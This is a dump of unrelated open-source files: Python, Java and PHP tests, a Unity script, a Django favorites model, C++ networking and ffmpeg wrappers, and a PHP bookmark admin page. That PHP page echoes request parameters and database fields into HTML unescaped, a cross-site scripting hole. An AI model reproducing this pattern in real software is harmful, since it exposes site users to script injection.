self.assertEquals(len(d), 1)
self.assertEquals(d['none'], None)
def test_flatten_int(self):
d = {
'int': 1
}
d = SyndicationModularInput.flatten(d)
self.assertEquals(len(d), 1)
self.assertEquals(d['int'], 1)
def test_flatten_boolean(self):
d = {
'TrueDat': True,
'FalseDat': False
}
d = SyndicationModularInput.flatten(d)
self.assertEqual(len(d), 2)
self.assertEquals(d['TrueDat'], True)
self.assertEquals(d['FalseDat'], False)
def test_flatten_time(self):
t = time.strptime("9 Feb 15", "%d %b %y")
d = {
'time': t
}
d = SyndicationModularInput.flatten(d)
self.assertEquals(d['time'], '2015-02-09T00:00:00Z')
def test_get_auth_handler(self):
auth_handler = SyndicationModularInput.get_auth_handler("http://127.0.0.1:8888/auth/rss_example.xml", username="admin", password="changeme")
self.assertIsInstance(auth_handler, HTTPBasicAuthHandler)
def test_get_auth_handler_none(self):
auth_handler = SyndicationModularInput.get_auth_handler("http://127.0.0.1:8888/rss_example.xml", username="admin", password="changeme")
self.assertEquals(auth_handler, None)
def test_get_realm_and_auth_type(self):
auth_realm, auth_type = SyndicationModularInput.get_realm_and_auth_type("http://127.0.0.1:8888/rss_example.xml", username="admin", password="changeme")
self.assertEquals(auth_realm, None)
self.assertEquals(auth_type, None)
def test_get_realm_and_auth_type_invalid(self):
auth_realm, auth_type = SyndicationModularInput.get_realm_and_auth_type("http://127.0.0.1:8888/invalid_auth/rss_example.xml", username="admin", password="changeme")
self.assertEquals(auth_realm, None)
self.assertEquals(auth_type, None)
def test_basic_auth_rss(self):
username = 'admin'
password = 'changeme'
results = SyndicationModularInput.get_feed("http://127.0.0.1:8888/auth/rss_example.xml", username="admin", password="changeme")
self.assertEqual(len(results), 2)
def test_cleanup_html_rss(self):
# https://lukemurphey.net/issues/2038
results = SyndicationModularInput.get_feed("http://127.0.0.1:8888/rss_with_html.xml", clean_html=True)
self.assertEqual(len(results), 3)
self.assertEqual(results[2]['content.0.value'][:120], " 1. **Introduction**\n\nIt seems that Google Chrome extensions have become quite the tool for banking\nmalware fraudsters.")
if __name__ == '__main__':
report_path = os.path.join('..', os.environ.get('TEST_OUTPUT', 'tmp/test_report.html'))
# Make the test directory
try:
os.makedirs(os.path.dirname(report_path))
except OSError as exception:
if exception.errno != errno.EEXIST:
raise
unittest.main()
| gpl-3.0 |
SleepyCreepy/Upside-Down | Assets/StopBoosPain.cs | 1451 | using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class StopBoosPain : StateMachineBehaviour {
// OnStateEnter is called when a transition starts and the state machine starts to evaluate this state
//override public void OnStateEnter(Animator animator, AnimatorStateInfo stateInfo, int layerIndex) {
//
//}
// OnStateUpdate is called on each Update frame between OnStateEnter and OnStateExit callbacks
//override public void OnStateUpdate(Animator animator, AnimatorStateInfo stateInfo, int layerIndex) {
//
//}
// OnStateExit is called when a transition ends and the state machine finishes evaluating this state
override public void OnStateExit(Animator animator, AnimatorStateInfo stateInfo, int layerIndex) {
SnowmanBossSoundEffects sound = animator.gameObject.GetComponent<SnowmanBossSoundEffects>();
if (sound != null)
{
sound.StopLoop();
}
}
// OnStateMove is called right after Animator.OnAnimatorMove(). Code that processes and affects root motion should be implemented here
//override public void OnStateMove(Animator animator, AnimatorStateInfo stateInfo, int layerIndex) {
//
//}
// OnStateIK is called right after Animator.OnAnimatorIK(). Code that sets up animation IK (inverse kinematics) should be implemented here.
//override public void OnStateIK(Animator animator, AnimatorStateInfo stateInfo, int layerIndex) {
//
//}
}
| gpl-3.0 |
exteso/alf.io | src/test/java/alfio/manager/payment/saferpay/PaymentPageInitializeBuilderTest.java | 3827 | /**
* This file is part of alf.io.
*
* alf.io is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* alf.io is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with alf.io. If not, see <http://www.gnu.org/licenses/>.
*/
package alfio.manager.payment.saferpay;
import alfio.manager.payment.PaymentSpecification;
import alfio.model.Event;
import alfio.model.PurchaseContext;
import com.google.gson.JsonParser;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.Mock;
import org.mockito.junit.jupiter.MockitoExtension;
import static alfio.manager.payment.saferpay.PaymentPageInitializeRequestBuilder.SUPPORTED_METHODS;
import static org.junit.jupiter.api.Assertions.*;
import static org.mockito.Mockito.when;
@DisplayName("Payment page initialize")
@ExtendWith(MockitoExtension.class)
class PaymentPageInitializeBuilderTest {
@Mock
private PaymentSpecification paymentSpecification;
@Mock
private Event event;
@BeforeEach
public void init() {
System.out.println("init");
when(paymentSpecification.getPurchaseContext()).thenReturn(event);
when(paymentSpecification.getReservationId()).thenReturn("reservationId");
when(event.getPublicIdentifier()).thenReturn("shortName");
when(event.getType()).thenReturn(PurchaseContext.PurchaseContextType.event);
}
@Test
void buildInitializeRequest() {
var prb = new PaymentPageInitializeRequestBuilder("http://localhost", paymentSpecification)
.addAuthentication("customerId", "requestId", "terminalId")
.addOrderInformation("orderId", "1", "CHF", "description", 1)
.build();
var parsedJson = JsonParser.parseString(prb).getAsJsonObject();
assertEquals("terminalId", parsedJson.get("TerminalId").getAsString());
var payment = parsedJson.get("Payment").getAsJsonObject();
assertNotNull(payment);
var amount = payment.get("Amount").getAsJsonObject();
assertNotNull(amount);
assertEquals("1", amount.get("Value").getAsString());
assertEquals("CHF", amount.get("CurrencyCode").getAsString());
assertEquals("orderId", payment.get("OrderId").getAsString());
assertEquals("description", payment.get("Description").getAsString());
// return URLs
var returnUrls = parsedJson.get("ReturnUrls").getAsJsonObject();
assertEquals("http://localhost/event/shortName/reservation/reservationId/book", returnUrls.get("Success").getAsString());
assertEquals("http://localhost/event/shortName/reservation/reservationId/payment/saferpay/cancel", returnUrls.get("Fail").getAsString());
// Notifications
var notification = parsedJson.get("Notification").getAsJsonObject();
assertNotNull(notification);
assertEquals("http://localhost/api/payment/webhook/saferpay/reservation/reservationId/success", notification.get("NotifyUrl").getAsString());
// payment methods
var paymentMethods = parsedJson.get("PaymentMethods").getAsJsonArray();
for (int i = 0; i < paymentMethods.size(); i++) {
var element = paymentMethods.get(i);
assertTrue(SUPPORTED_METHODS.contains(element.getAsString()));
}
}
}
| gpl-3.0 |
emigort/Project-Euler | problems_0001-0025/problem_0021.php | 1541 | <?php
require '../app/utils.php';
/*
Problem 21 https://projecteuler.net/problem=21
Let d(n) be defined as the sum of proper divisors of
n (numbers less than n which divide evenly into n).
If d(a) = b and d(b) = a, where a ≠ b, then a and b
are an amicable pair and each of a and b are called amicable numbers.
For example, the proper divisors of 220 are
1, 2, 4, 5, 10, 11, 20, 22, 44, 55 and 110;
therefore d(220) = 284. The proper divisors of 284 are 1, 2, 4, 71 and 142;
so d(284) = 220.
Evaluate the sum of all the amicable numbers under 10000.
*/
$sum = 0;
for ($a = 2; $a < 10000; $a++) {
$b = SumOfProperDivisors($a);
if ($b > $a) {
if (SumOfProperDivisors($b) == $a) {
$sum = $sum + $a + $b;
echo "($a,$b) " . EOL;
}
}
}
echo $sum;
function SumOfProperDivisors($n)
{
return SumOfDivisors($n) - $n;
}
function SumOfDivisors($n)
{
$sum = 1;
$p = 2;
while (($p * $p) <= $n && $n > 1) {
if ($n % $p == 0) {
$j = $p * $p;
$n = $n / $p;
while ($n % $p == 0) {
$j = $j * $p;
$n = $n / $p;
}
$sum = $sum * ($j - 1);
$sum = $sum / ($p - 1);
}
if ($p == 2) {
$p = 3;
} else {
$p = $p + 2;
}
}
if ($n > 1) {
$sum = $sum * ($n + 1);
}
return $sum;
}
require '../app/running_time.php';
| gpl-3.0 |
paintenzero/redlight-stream-server | Logger.js | 766 | var intel = require("intel");
intel.config({
"formatters": {
"simple": {
"format": "%(name)s [%(levelname)s]: %(message)s",
"colorize": true
}
},
"handlers": {
"simple_terminal": {
"class": intel.handlers.Console,
"formatter": "simple",
"level": "VERBOSE"
}
},
"loggers": {
"Redlight": {
"handlers": ["simple_terminal"],
"level": "DEBUG"
},
"Redlight.Crypto": {
},
"Redlight.HTTP": {
},
"Redlight.Pairing": {
"level": "ERROR"
},
"Redlight.SQLite": {
"level": "ERROR"
},
"Redlight.GamesList": {
}
}
});
| gpl-3.0 |
rneiss/PocketTorah | ios/Pods/Flipper-Folly/folly/memory/SanitizeLeak.cpp | 1400 | /*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <mutex>
#include <unordered_set>
#include <folly/memory/SanitizeLeak.h>
namespace folly {
namespace detail {
namespace {
struct LeakedPtrs {
std::mutex mutex;
std::unordered_set<void const*> set;
static LeakedPtrs& instance() {
static auto* ptrs = new LeakedPtrs();
return *ptrs;
}
};
} // namespace
void annotate_object_leaked_impl(void const* ptr) {
if (ptr == nullptr) {
return;
}
auto& ptrs = LeakedPtrs::instance();
std::lock_guard<std::mutex> lg(ptrs.mutex);
ptrs.set.insert(ptr);
}
void annotate_object_collected_impl(void const* ptr) {
if (ptr == nullptr) {
return;
}
auto& ptrs = LeakedPtrs::instance();
std::lock_guard<std::mutex> lg(ptrs.mutex);
ptrs.set.erase(ptr);
}
} // namespace detail
} // namespace folly
| gpl-3.0 |
OpenQCam/qcam | trunk/sources/thelib/src/netio/select/iohandlermanager.cpp | 9032 | /*
* Copyright (c) 2010,
* Gavriloaie Eugen-Andrei (shiretu@gmail.com)
*
* This file is part of crtmpserver.
* crtmpserver is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* crtmpserver is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with crtmpserver. If not, see <http://www.gnu.org/licenses/>.
*/
#ifdef NET_SELECT
#include "netio/select/iohandlermanager.h"
#include "netio/select/iohandler.h"
#define FDSTATE_READ_ENABLED 0x01
#define FDSTATE_WRITE_ENABLED 0x02
map<uint32_t, IOHandler *> IOHandlerManager::_activeIOHandlers;
map<uint32_t, IOHandler *> IOHandlerManager::_deadIOHandlers;
fd_set IOHandlerManager::_readFds;
fd_set IOHandlerManager::_writeFds;
fd_set IOHandlerManager::_readFdsCopy;
fd_set IOHandlerManager::_writeFdsCopy;
map<int32_t, map<uint32_t, uint8_t> > IOHandlerManager::_fdState;
struct timeval IOHandlerManager::_timeout = {1, 0};
TimersManager *IOHandlerManager::_pTimersManager = NULL;
select_event IOHandlerManager::_currentEvent = {0};
bool IOHandlerManager::_isShuttingDown = false;
FdStats IOHandlerManager::_fdStats;
map<uint32_t, IOHandler *> & IOHandlerManager::GetActiveHandlers() {
return _activeIOHandlers;
}
map<uint32_t, IOHandler *> & IOHandlerManager::GetDeadHandlers() {
return _deadIOHandlers;
}
FdStats &IOHandlerManager::GetStats(bool updateSpeeds) {
#ifdef GLOBALLY_ACCOUNT_BYTES
if (updateSpeeds)
_fdStats.UpdateSpeeds();
#endif /* GLOBALLY_ACCOUNT_BYTES */
return _fdStats;
}
void IOHandlerManager::Initialize() {
_fdStats.Reset();
FD_ZERO(&_readFds);
FD_ZERO(&_writeFds);
_pTimersManager = new TimersManager(ProcessTimer);
_isShuttingDown = false;
}
void IOHandlerManager::Start() {
}
void IOHandlerManager::SignalShutdown() {
_isShuttingDown = true;
}
void IOHandlerManager::ShutdownIOHandlers() {
FOR_MAP(_activeIOHandlers, uint32_t, IOHandler *, i) {
EnqueueForDelete(MAP_VAL(i));
}
}
void IOHandlerManager::UpdateTimerManagerLastTime()
{
_pTimersManager->UpdateLastTime();
}
void IOHandlerManager::Shutdown() {
_isShuttingDown = false;
delete _pTimersManager;
_pTimersManager = NULL;
if (_activeIOHandlers.size() != 0 || _deadIOHandlers.size() != 0) {
FATAL("Incomplete shutdown!!!");
}
}
void IOHandlerManager::RegisterIOHandler(IOHandler* pIOHandler) {
if (MAP_HAS1(_activeIOHandlers, pIOHandler->GetId())) {
ASSERT("IOHandler already registered");
}
size_t before = _activeIOHandlers.size();
_activeIOHandlers[pIOHandler->GetId()] = pIOHandler;
_fdStats.RegisterManaged(pIOHandler->GetType());
DEBUG("Handlers count changed: %"PRIz"u->%"PRIz"u %s", before, before + 1,
STR(IOHandler::IOHTToString(pIOHandler->GetType())));
}
void IOHandlerManager::UnRegisterIOHandler(IOHandler *pIOHandler) {
DisableAcceptConnections(pIOHandler);
DisableReadData(pIOHandler);
DisableWriteData(pIOHandler);
DisableTimer(pIOHandler);
if (MAP_HAS1(_activeIOHandlers, pIOHandler->GetId())) {
_fdStats.UnRegisterManaged(pIOHandler->GetType());
size_t before = _activeIOHandlers.size();
_activeIOHandlers.erase(pIOHandler->GetId());
DEBUG("Handlers count changed: %"PRIz"u->%"PRIz"u %s", before, before - 1,
STR(IOHandler::IOHTToString(pIOHandler->GetType())));
}
}
int IOHandlerManager::CreateRawUDPSocket() {
int result = socket(AF_INET, SOCK_DGRAM, 0);
if (result >= 0) {
_fdStats.RegisterRawUdp();
} else {
uint32_t err = LASTSOCKETERROR;
FATAL("Unable to create raw udp socket. Error code was: %"PRIu32, err);
}
return result;
}
void IOHandlerManager::CloseRawUDPSocket(int socket) {
if (socket > 0) {
_fdStats.UnRegisterRawUdp();
}
CLOSE_SOCKET(socket);
}
#ifdef GLOBALLY_ACCOUNT_BYTES
void IOHandlerManager::AddInBytesManaged(IOHandlerType type, uint64_t bytes) {
_fdStats.AddInBytesManaged(type, bytes);
}
void IOHandlerManager::AddOutBytesManaged(IOHandlerType type, uint64_t bytes) {
_fdStats.AddOutBytesManaged(type, bytes);
}
void IOHandlerManager::AddInBytesRawUdp(uint64_t bytes) {
_fdStats.AddInBytesRawUdp(bytes);
}
void IOHandlerManager::AddOutBytesRawUdp(uint64_t bytes) {
_fdStats.AddOutBytesRawUdp(bytes);
}
#endif /* GLOBALLY_ACCOUNT_BYTES */
bool IOHandlerManager::EnableReadData(IOHandler *pIOHandler) {
_fdState[pIOHandler->GetInboundFd()][pIOHandler->GetId()] |= FDSTATE_READ_ENABLED;
return UpdateFdSets(pIOHandler->GetInboundFd());
}
bool IOHandlerManager::DisableReadData(IOHandler *pIOHandler) {
_fdState[pIOHandler->GetInboundFd()][pIOHandler->GetId()] &= ~FDSTATE_READ_ENABLED;
return UpdateFdSets(pIOHandler->GetInboundFd());
}
bool IOHandlerManager::EnableWriteData(IOHandler *pIOHandler) {
_fdState[pIOHandler->GetOutboundFd()][pIOHandler->GetId()] |= FDSTATE_WRITE_ENABLED;
return UpdateFdSets(pIOHandler->GetOutboundFd());
}
bool IOHandlerManager::DisableWriteData(IOHandler *pIOHandler) {
_fdState[pIOHandler->GetOutboundFd()][pIOHandler->GetId()] &= ~FDSTATE_WRITE_ENABLED;
return UpdateFdSets(pIOHandler->GetOutboundFd());
}
bool IOHandlerManager::EnableAcceptConnections(IOHandler *pIOHandler) {
_fdState[pIOHandler->GetInboundFd()][pIOHandler->GetId()] |= FDSTATE_READ_ENABLED;
return UpdateFdSets(pIOHandler->GetInboundFd());
}
bool IOHandlerManager::DisableAcceptConnections(IOHandler *pIOHandler) {
_fdState[pIOHandler->GetInboundFd()][pIOHandler->GetId()] &= ~FDSTATE_READ_ENABLED;
return UpdateFdSets(pIOHandler->GetInboundFd());
}
bool IOHandlerManager::EnableTimer(IOHandler *pIOHandler, uint32_t seconds) {
TimerEvent event = {0, 0, 0};
event.id = pIOHandler->GetId();
event.period = seconds;
_pTimersManager->AddTimer(event);
return true;
}
bool IOHandlerManager::DisableTimer(IOHandler *pIOHandler) {
_pTimersManager->RemoveTimer(pIOHandler->GetId());
return true;
}
void IOHandlerManager::EnqueueForDelete(IOHandler *pIOHandler) {
DisableAcceptConnections(pIOHandler);
DisableReadData(pIOHandler);
DisableWriteData(pIOHandler);
DisableTimer(pIOHandler);
if (!MAP_HAS1(_deadIOHandlers, pIOHandler->GetId())) {
_deadIOHandlers[pIOHandler->GetId()] = pIOHandler;
}
}
uint32_t IOHandlerManager::DeleteDeadHandlers() {
uint32_t result = 0;
while (_deadIOHandlers.size() > 0) {
IOHandler *pIOHandler = MAP_VAL(_deadIOHandlers.begin());
_deadIOHandlers.erase(pIOHandler->GetId());
delete pIOHandler;
result++;
}
return result;
}
bool IOHandlerManager::Pulse() {
if (_isShuttingDown)
return false;
//1. Create a copy of all fd sets
FD_ZERO(&_readFdsCopy);
FD_ZERO(&_writeFdsCopy);
FD_ZERO(&_writeFdsCopy);
FD_COPY(&_readFds, &_readFdsCopy);
FD_COPY(&_writeFds, &_writeFdsCopy);
//2. compute the max fd
if (_activeIOHandlers.size() == 0)
return true;
//3. do the select
RESET_TIMER(_timeout, 1, 0);
int32_t count = select(MAP_KEY(--_fdState.end()) + 1, &_readFdsCopy, &_writeFdsCopy, NULL, &_timeout);
if (count < 0) {
int err = LASTSOCKETERROR;
if (err == EINTR)
return true;
FATAL("Unable to do select: %u", (uint32_t) LASTSOCKETERROR);
return false;
}
_pTimersManager->TimeElapsed(time(NULL));
if (count == 0) {
return true;
}
//4. Start crunching the sets
FOR_MAP(_activeIOHandlers, uint32_t, IOHandler *, i) {
if (FD_ISSET(MAP_VAL(i)->GetInboundFd(), &_readFdsCopy)) {
_currentEvent.type = SET_READ;
#ifdef PROFILING
if (!MAP_VAL(i)->OnEventVerbose(_currentEvent))
#else
if (!MAP_VAL(i)->OnEvent(_currentEvent))
#endif
EnqueueForDelete(MAP_VAL(i));
}
if (FD_ISSET(MAP_VAL(i)->GetOutboundFd(), &_writeFdsCopy)) {
_currentEvent.type = SET_WRITE;
#ifdef PROFILING
if (!MAP_VAL(i)->OnEventVerbose(_currentEvent))
#else
if (!MAP_VAL(i)->OnEvent(_currentEvent))
#endif
EnqueueForDelete(MAP_VAL(i));
}
}
return true;
}
bool IOHandlerManager::UpdateFdSets(int32_t fd) {
if (fd == 0)
return true;
uint8_t state = 0;
FOR_MAP(_fdState[fd], uint32_t, uint8_t, i) {
state |= MAP_VAL(i);
}
if ((state & FDSTATE_READ_ENABLED) != 0)
FD_SET(fd, &_readFds);
else
FD_CLR(fd, &_readFds);
if ((state & FDSTATE_WRITE_ENABLED) != 0)
FD_SET(fd, &_writeFds);
else
FD_CLR(fd, &_writeFds);
if (state == 0)
_fdState.erase(fd);
return true;
}
void IOHandlerManager::ProcessTimer(TimerEvent &event) {
_currentEvent.type = SET_TIMER;
if (MAP_HAS1(_activeIOHandlers, event.id)) {
if (!_activeIOHandlers[event.id]->OnEvent(_currentEvent)) {
EnqueueForDelete(_activeIOHandlers[event.id]);
}
}
}
#endif /* NET_SELECT */
| gpl-3.0 |
renardeau/klusbibapi | tests/Unit/lendingTest.php | 1928 | <?php
use Tests\DbUnitArrayDataSet;
require_once __DIR__ . '/../test_env.php';
class LendingTest extends LocalDbWebTestCase
{
private $createdate;
private $updatedate;
/**
* @return PHPUnit_Extensions_Database_DataSet_IDataSet
*/
public function getDataSet()
{
$this->createdate = new DateTime();
$this->updatedate = clone $this->createdate;
$this->startdate = new DateTime();
$this->duedate = clone $this->startdate;
$this->duedate->add(new DateInterval('P7D'));
return new DbUnitArrayDataSet(array(
'users' => array(
array('user_id' => 3, 'firstname' => 'daniel', 'lastname' => 'De Deler',
'role' => 'member', 'email' => 'daniel@klusbib.be',
'hash' => password_hash("test", PASSWORD_DEFAULT),
),
),
'lendings' => array(
array('lending_id' => 1, 'user_id' => 3, 'tool_id' => 1,
'start_date' => $this->startdate->format('Y-m-d H:i:s'),
'due_date' => $this->duedate->format('Y-m-d H:i:s'),
'created_at' => $this->createdate->format('Y-m-d H:i:s'),
'updated_at' => $this->updatedate->format('Y-m-d H:i:s')
),
),
));
}
public function testGetLendings()
{
echo "test GET lendings\n";
$this->setUser('daniel@klusbib.be');
$this->setToken('3', ["lendings.all"]);
$body = $this->client->get('/lendings');
print_r($body);
$this->assertEquals(200, $this->client->response->getStatusCode());
$lendings = json_decode($body);
$this->assertEquals(1, count($lendings));
}
public function testGetLendingsUnauthorized()
{
echo "test GET lendings unauthorized\n";
$this->setUser('daniel@klusbib.be');
$this->setToken('3', ["lendings.none"]);
$body = $this->client->get('/lendings');
$this->assertEquals(403, $this->client->response->getStatusCode());
$this->assertTrue(empty($body));
}
} | gpl-3.0 |
jgroszko/django-albums | favorites/models.py | 2045 | from django.db import models
from django.contrib.auth.models import User
from django.contrib.contenttypes.models import ContentType
from django.contrib.contenttypes import generic
class FavoriteItemManager(models.Manager):
def for_user(self, user, content_types=[]):
favorite_objects = []
q = self.filter(from_user=user)
if content_types is not []:
cts = []
for content_type in content_types:
ct = ContentType.objects.get_for_model(content_type)
cts.append(ct.id)
q = q.filter(content_type__in=cts)
for favorite in q:
favorite_objects.append(favorite.to_object)
return favorite_objects
def get(self, from_user, to_object):
ct = ContentType.objects.get_for_model(to_object)
return super(FavoriteItemManager, self).get(from_user=from_user, content_type=ct, object_id=to_object.id)
def exists(self, from_user, to_object):
try:
self.get(from_user, to_object)
return True
except Favorite.DoesNotExist:
return False
def toggle(self, from_user, to_object):
try:
f = self.get(from_user, to_object)
f.delete()
return False
except Favorite.DoesNotExist:
f = Favorite(from_user=from_user, to_object=to_object)
f.save()
return True
def to_object(self, object):
return self.filter(content_type=ContentType.objects.get_for_model(object),
object_id=object.id)
class Favorite(models.Model):
from_user = models.ForeignKey(User)
content_type = models.ForeignKey(ContentType)
object_id = models.PositiveIntegerField()
to_object = generic.GenericForeignKey()
class Meta:
unique_together = (('from_user', 'content_type', 'object_id'))
objects = FavoriteItemManager()
def __unicode__(self):
return "User %s Item %s" % (self.from_user, self.to_object)
| gpl-3.0 |
cybergestionnaire/gestionnaire | include/admin_url.php | 3343 | <?php
// Fichier de gestion des url / favoris d'un utilisateur
// on supprime un lien
if ($_GET["action"] == "del") {
delBookmark(0, AddSlashes($_GET["idurl"]));
}
// On modifie un lien
if ($_GET["action"] == "mod") {
$formSubmit = "Modifier";
$row = getOneUrl($_GET["idurl"]);
$titreUrl = $row["titre_url"];
$url = $row["url_url"];
$theme = $row["label_url_rub"];
} else {
$formSubmit = "Ajouter";
}
// formulaire de creation / modification d'un lien
//affichage du message d'erreur
if ($mess != "") {
echo $mess;
}
?>
<div class="col-md-6">
<div class="box box-info"><div class="box-header"><h3 class="box-title"><?php echo $formSubmit; ?> un favori </h3></div>
<div class="box-body">
<form method="post" action="index.php?a=10">
<div class="form-group"><label>Titre :</label><input type="text" name="titre" value="<?php echo $titreUrl; ?>" class="form-control"></div>
<div class="form-group"><label>URL :</label><input type="text" name="url" value="<?php echo $url; ?>" class="form-control" placeholder="http://"></div>
<?php
if ($_GET["action"] != "mod") { // si ajout
?>
<div class="form-group"><label>Theme :</label>
<?php echo getUrlSelect(); ?> </div>
<?php
} else { // sinon modification
?>
<div class="form-group"><label>Theme :</label>
<input type="hidden" name="idurl" value="<?php echo $_GET['idurl']; ?>">
<?php echo $theme; ?><?php echo getUrlSelect(); ?>
</div>
<?php
};
?>
</div>
<div class="box-footer">
<input type="submit" value="<?php echo $formSubmit; ?>" name="submit" class="btn btn-primary"></div>
</form>
</div>
</div>
<div class="col-md-6">
<!-- Affichage des liens-->
<div class="box box-info"><div class="box-header"><h3 class="box-title">Sélection de liens utiles visibles par défaut pour les adhérents</h3></div>
<div class="box-body no-padding"><table class="table">
<thead><tr><th>Theme</th><th>Titre du lien</th><th> </th></tr></thead><tbody>
<?php
$result = getBookmark(0); // 0 = valeur pour les liens du cyber
if ($result != false) {
$nb = mysqli_num_rows($result);
for ($i = 1; $i <= $nb; $i++) {
$row = mysqli_fetch_array($result);
echo "<tr><td>" . $row["Flabel"] . "</td><td> <a href=\"" . $row["Furl"] . "\" target=\"_blank\">" . $row["Ftitre"] . "</a></td>
<td><a href=\"index.php?a=10&action=mod&idurl=" . $row["Fid"] . "\"><button type=\"button\" class=\"btn bg-green sm\"><i class=\"fa fa-edit\"></i></button></a>
<a href=\"index.php?a=10&action=del&idurl=" . $row["Fid"] . "\"><button type=\"button\" class=\"btn bg-red sm\"><i class=\"fa fa-trash-o\"></i></button></a></td></tr></tbody>";
}
}
?>
</table></div></div>
</div>
| gpl-3.0 |
giofrida/Hisense-enhancements | UI/hisenseUI/modulePages/appPages/youtube.js | 1978 | /**
* Created by BOB on 14-10-22.
*/
function getYoutubePageData(opts) {
return appYoutube.pageData;
}
function AppYoutube() {
var self = this;
self.pageData = {};
var oprtData = {
command: '',
isRemoteKey: false,
amName: "youtube",
commandType: 0,
appStarted: false
};
self.pageData.operateData = oprtData;
//var appOpened = false;
self.onFocusYoutube = function(){
hiWebOsFrame.registerKeyCodesForAppExcludeKey([VK_YOUTUBE]);
}
self.onOpenYoutube = function() {
//hiWebOsFrame.registerKeyCodesForAppExcludeKey([VK_YOUTUBE]);
if(oprtData.appStarted) return;
oprtData.appStarted = true;
if('' == oprtData.command) oprtData.command = "youtube";
if(oprtData.isRemoteKey) {
sendAM(":am,am,remote:start=youtube");
}
else if(oprtData.commandType == CmdURLType.START_FROM_DIALSERVER) {
setTimeout(function() {
sendAM(readFileFromNative("dial", 0));//tmp
}, 2000);
}
else if(oprtData.command.indexOf("http") > -1) {
sendAM(":am,am,:start_ex=[youtube,-w,1280,-h,720,-x,youtube,-m,NO,-u," + oprtData.command + "]");
//[youtube,-w,1280,-h,720,-x,youtube,-m,NO,-u,https://www.youtube.com/tv?launch=menu&v=Ec9wfbh12ZY&t=0]
}
else {
sendAM(":am,am,menu:start=youtube");
}
}
self.onCloseYoutube = function() {
if(oprtData.appStarted){
sendAM(":am,am,:stop=youtube");
}
else{
DBG_INFO(oprtData.amName + " has been stopped", DebugLevel.WARNING);
}
releaseVar();
}
function releaseVar() {
oprtData.command = '';
oprtData.isRemoteKey = false;
oprtData.commandType = CmdURLType.NONE;
//oprtData.appStarted = false;
hiWebOsFrame.registerKeyCodesNormal();
}
}
var appYoutube = new AppYoutube();
| gpl-3.0 |
KevinMiller4k/four-k-download | sdk/src/ffmpeg/DTFFDecoderInfo.cpp | 12956 | /// Copyright 2010-2012 4kdownload.com (developers@4kdownload.com)
/**
This file is part of 4k Download.
4k Download is free software; you can redistribute it and/or modify
it under the terms of the one of two licenses as you choose:
1. GNU GENERAL PUBLIC LICENSE Version 3
(See file COPYING.GPLv3 for details).
2. 4k Download Commercial License
(Send request to developers@4kdownload.com for details).
*/
#include <openmedia/DTHeaders.h>
/// \file DTFFDecoderInfo.cpp
#include "DTFFDecoderInfo.h"
#include <openmedia/DTError.h>
#define DT_FF_NEED_AVCODEC
#include "DTFFHeader.h"
#include "DTFFAlloc.h"
#include "../DTDecoderInfoImpl.h"
#include "../DTAudioDecoderInfoImpl.h"
#include "../DTVideoDecoderInfoImpl.h"
namespace openmedia {
class av_decoder_info_impl: public decoder_info::Impl
{
public:
virtual ~av_decoder_info_impl()
{
av_freep(&m_CodecContext.extradata);
}
public:
virtual const uint8_t * get_extradata() const
{
return m_CodecContext.extradata;
}
virtual int get_extradata_size() const
{
return m_CodecContext.extradata_size;
}
virtual std::string get_codec_name() const
{
return std::string(m_CodecContext.codec_name);
}
virtual dt_codec_base_t get_codec_base() const
{
return CODEC_BASE_FFMPEG;
}
virtual dt_media_type_t get_codec_type() const
{
return FF2DTType(m_CodecContext.codec_type);
}
virtual dt_codec_id_t get_codec_id() const
{
return FF2DTType(m_CodecContext.codec_id);
}
virtual unsigned int get_codec_tag() const
{
return m_CodecContext.codec_tag;
}
virtual int get_profile() const
{
return m_CodecContext.profile;
}
virtual int get_level() const
{
return m_CodecContext.level;
}
virtual int get_bit_rate() const
{
return m_CodecContext.bit_rate;
}
virtual dt_rational_t get_time_base() const
{
return FF2DTType(m_CodecContext.time_base);
}
virtual int get_rc_max_rate() const
{
return m_CodecContext.rc_max_rate;
}
virtual int get_rc_buffer_size() const
{
return m_CodecContext.rc_buffer_size;
}
private:
AVCodecContext m_CodecContext;
public:
av_decoder_info_impl(const AVCodecContext * _CodecContext)
{
AVCodecContext * ctx = &m_CodecContext;
ff_alloc_and_copy(&ctx->extradata, _CodecContext->extradata, _CodecContext->extradata_size, FF_INPUT_BUFFER_PADDING_SIZE);
ctx->extradata_size = _CodecContext->extradata_size;
memcpy(ctx->codec_name, _CodecContext->codec_name, sizeof(_CodecContext->codec_name));
ctx->codec_type = _CodecContext->codec_type;
ctx->codec_id = _CodecContext->codec_id;
ctx->codec_tag = _CodecContext->codec_tag;
ctx->profile = _CodecContext->profile;
ctx->level = _CodecContext->level;
ctx->time_base = _CodecContext->time_base;
ctx->bit_rate = _CodecContext->bit_rate;
ctx->rc_max_rate = _CodecContext->rc_max_rate;
ctx->rc_buffer_size = _CodecContext->rc_buffer_size;
}
};
/// \class av_decoder_info_impl
class av_video_decoder_info_impl: public video_decoder_info::Impl
{
public:
virtual const uint8_t * get_extradata() const
{
return m_CodecContext.extradata;
}
virtual int get_extradata_size() const
{
return m_CodecContext.extradata_size;
}
virtual std::string get_codec_name() const
{
return std::string(m_CodecContext.codec_name);
}
virtual dt_codec_base_t get_codec_base() const
{
return CODEC_BASE_FFMPEG;
}
